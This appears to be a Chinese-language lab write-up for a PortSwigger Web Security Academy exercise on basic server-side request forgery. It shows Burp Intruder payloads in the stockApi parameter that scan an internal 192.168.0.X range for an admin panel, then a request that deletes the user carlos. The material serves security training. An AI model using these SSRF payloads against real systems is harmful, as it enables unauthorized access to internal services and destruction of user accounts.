> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssrf/basic-ssrf-against-internal-system.md).
# 针对内部系统的基础 SSRF
针对内部系统的基础 SSRF 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
## 针对另一后端系统的基础 SSRF 攻击
此实验室提供了一个库存验证功能，该功能会查询内部服务。/ 目标是利用该机制来探测内部地址范围 **192.168.0.X** 在该端口上查找管理界面 **8080**，然后删除用户 carlos。
#### **分析与利用**
* 该 **stockApi** 参数被发送到 **Intruder** 以自动化内部地址测试：
```javascript
stockApi=http://192.168.0.§1§:8080/admin
```
对……执行粗略暴力攻击 **254 个可能的地址** 在内部地址范围内，全部使用 /admin 路径。
下载一个值字典来支撑攻击：
```bash
wget https://gist.githubusercontent.com/danielthall/09b8f173b5c0b84065d8e211def83c0b/raw/20d713765b3fa620c09aebd36e41ce69debef865/0-1000.txt
```
* 在发起攻击后， **192.168.0.14** 该地址返回 \*\*HTTP 状态码 200\*\*，表明管理界面可访问。
#### **删除用户**
* 访问管理面板：
```javascript
stockApi=http://192.168.0.14:8080/admin
stockApi=http://192.168.0.14:8080/admin/delete?username=carlos
```
---
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